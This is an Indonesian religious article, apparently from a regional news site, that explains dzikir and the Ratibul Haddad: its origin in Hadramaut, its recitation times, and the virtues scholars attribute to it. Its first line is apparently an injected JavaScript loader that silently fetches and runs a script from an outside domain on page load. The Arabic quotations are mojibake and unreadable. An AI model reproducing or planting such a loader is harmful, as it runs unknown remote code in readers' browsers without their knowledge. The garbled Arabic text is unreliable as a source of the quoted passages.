(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dzikir memiliki arti mengingat terhadap Allah. Orang ketika berdzikir maka tujuan utamanya tentu mengingat terhadap Dzat yang Maha Pencipta. Berdzikir merupakan sarana utama dalam menenteramkan hati. Allah subhanahu wa ta’ala berfirman dalam Al-Qur’an:
الَّذÙÂÂينَ آمَنÙÂÂواْ وَتَطْمَئÙÂÂنّ٠قÙÂÂÙ„ÙÂÂوبÙÂÂÙ‡ÙÂÂÙ… بÙÂÂذÙÂÂكْر٠اللّه٠أَلاَ بÙÂÂذÙÂÂكْر٠اللّه٠تَطْمَئÙÂÂنّ٠الْقÙÂÂÙ„ÙÂÂوبÙÂÂ
“Orang-orang yang beriman dan hati mereka menjadi tentram dengan mengingat Allah. Ingatlah, hanya dengan mengingat Allah-lah hati menjadi tentram†(QS. Ar-Ra’d: 28).
Bacaan dzikir tak terhitung jumlahnya. Sebagian ulama hanya melantunkan dzikir terbatas pada dzikir-dzikir yang bersumber dari Nabi Muhammad shallallahu ‘alaihi wasallam atau yang biasa dikenal dengan dzikir ma’tsur. Namun, sebagian ulama yang lain melantunkan dzikir tidak hanya terbatas pada dzikir ma’tsur saja, tapi juga meliputi dzikir-dzikir yang disusun oleh para ulama terkemuka dengan susunan bacaan yang memiliki sirr (rahasia) dan faedah tersendiri. Dzikir-dzikir ini biasa dikenal dengan nama hizib atau ratib.
Penjelasan tentang hizib atau ratib secara ringkas dijelaskan dalam kitab Dzakhirah al-Ma’ad bi Syarhi Ratib al-Haddad berikut ini:
وأما ØÂÂقيقة الØÂÂزب والورد والراتب ÙÂÂهوالمعمول به تعبدا ونØÂÂوه ÙˆÙÂÂÙ‰ الإصطلاؠمجموع أذكار وأدعية وتوجهات وضعت للذكر والتذكر والتعوذ منالشر وطلب الخير واستÙÂÂتاؠالمعار٠وØÂÂصول العلم مع جمع القلب والهم على الله تعالى
“Adapun hakikat hizib, wirid, dan ratib adalah sesuatu yang diamalkan dengan tujuan menyembah (kepada Allah) dan semacamnya. Sedangkan hizib, wirid, dan ratib secara istilah adalah kumpulan dzikir, doa dan tawajjuh yang dihimpun untuk dzikir, mengingat, meminta perlindungan dari keburukan, meminta kebaikan, memohon terbukanya kemakrifatan dan hasilnya pengetahuan yang dibarengi dengan fokusnya hati dan pikiran kepada Allah ta’ala†(Syekh ‘Abdullah bin Ahmad Basudan al-Kindi, Dzakhirah al-Ma’ad bi Syarhi Ratib al-Haddad, hal. 45).
Salah satu dzikir yang sering dibaca oleh kalangan masyarakat Muslim secara luas adalah Ratibul Haddad. Ratib ini disusun oleh salah seorang ulama terkemuka dari Hadramaut, yakni Abdullah bin ‘Alawi bin Muhammad al-Haddad. Beliau merupakan seorang mujaddid (pembaharu) di masanya. Karya tulis beliau terbilang cukup banyak dan tersebar di berbagai penjuru dunia, di antaranya adalah an-Nashaih ad-Diniyah, Risalah al-Mu’awanah, an-Nafais al-‘Alawiyah fi al-Masa’il as-Shufiyah.
Ratibul Hadad disusun pada tahun 1071 Hijriah, bermula ketika para pemuka Hadramaut merasa khawatir akan masuknya kelompok Syiah Zaidiyah di wilayah Hadramaut. Mereka khawatir aqidah Syiah Zaidiyah akan mempengaruhi terhadap keyakinan orang awam yang sejak lama berpegang teguh pada aqidah Ahlussunnah wal Jama’ah yang telah diajarkan oleh para Salafus Shalih. Berdasarkan hal ini, mereka menghadap kepada al-Qutb Abdullah bin ‘Alawi al-Haddad agar diberi bacaan supaya hal yang mereka khawatirkan tidak terjadi. Beliau pun menuliskan wirid yang nantinya dikenal dengan nama Ratibul Haddad ini. Semenjak saat itu, bacaan Ratibul haddad banyak dibaca di berbagai tempat di berbagai belahan dunia, sampai saat ini.
Ratibul Haddad ini sangat dianjurkan dibaca secara bersama-sama dalam majelis dzikir. Sedangkan ketentuan waktu membacanya dijelaskan dalam penjelasan berikut:
وينبغيأنيرتبه كل مرید صادق سيما إنكانصاØÂÂب الراتب واسطة له إلى الله تعالى ÙÂÂإنرتبه بعد صلاة العشاء والصبؠÙÂÂذلك هوالاكمل ويكÙÂÂيترتيبه ÙÂÂياليوم والليلة مرة والأÙÂÂضل بعد صلاة العشاء ÙˆÙÂÂÙ‰ رمضانيقدم هذا الراتب على صلاة العشاء
“Sebaiknya seorang murid yang sungguh-sungguh membaca ratib ini, terlebih ketika penyusun ratib ini merupakan perantara baginya menuju Allah ta’ala. Membaca ratibul haddad ini setelah shalat isya’ dan subuh adalah cara membaca yang paling sempurna, namun membaca ratib ini satu kali dalam sehari semalam dianggap cukup, yang paling utama dilakukan setelah melaksanakan shalat isya’. Sedangkan di bulan Ramadhan, membaca ratib ini didahulukan dari pelaksanaan shalat isya’†(Syekh Abu Bakar bin Ahmad al-Maliabar, al-Imdad bi Syarhi Ratib al-Haddad, Hal. 55)
Faedah dari membaca Ratibul Hadad ini terbilang cukup banyak, berikut di antara berbagai fadilah istiqamah mengamalkan ratibul haddad:
ÙˆÙÂÂوائد راتب الØÂÂداد منها ما نقل شراؠالراتب عنصاØÂÂبه رضيالله عنه أنمنواظب على قراءته ØÂÂرس الله بلده أيمنالبلايا والنقم . ومنها زيادة الغنيوالبركة والخير ÙÂÂيداره. ومنها أنمنواظب عليه كل يوم لا يضره السم، ولا يضره السبع والزواØÂÂ٠وسائر الØÂÂيوانات. ومنها أنه ÙŠØÂÂصل عليه ØÂÂسنالخاتمة ويعطيه الله له التوÙÂÂيق للنطق بكلمة الشهادة.
“Beberapa faedah Ratibul hadad di antaranya, penjelasan yang dikutip dari para ulama yang mensyarahi Rotib ini dari penyusun Ratib, Syekh Abdullah bin ‘alawi al-Haddad Radliyallahu ‘anhu bahwa orang yang rajin membaca rotib ini maka Allah akan menjaga negaranya dari beberapa cobaan dan siksaan. Faedah lainnya, bertambahnya kekayaan, barokah dan kebaikan di rumahnya. Orang yang rajin membaca Ratibul Haddad setiap hari, maka tidak akan bahaya baginya racun, hewan buas, reptil dan hewan-hewan lainnya. Faedah yang lain dari membaca rotib ini bahwa akan hasil baginya husnul khotimah dan Allah akan memberikan pertolongan baginya untuk mengucapkan kalimat syahadat (di Akhir Hayatnya)†(Syekh Abu Bakar bin Ahmad al-Maliabar, al-Imdad bi Syarhi Ratib al-Haddad, hal. 56)
Patut dipahami bagi para pembaca Ratibul Haddad bahwa faedah-faedah di atas tentunya sekiranya tanpa memalingkan niat utama membaca Ratibul Haddad yakni mendekatkan diri kepada Allah subhanahu wa ta’ala. Semoga kita dapat mengamalkan Ratibul Haddad ini dengan istiqamah serta mendapatkan keberkahan dari penyusun Ratibul Haddad, Syekh Abdullah bin ‘alawi al-Haddad. Amin Yaa Rabbal ‘Alamin. (nuonline)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.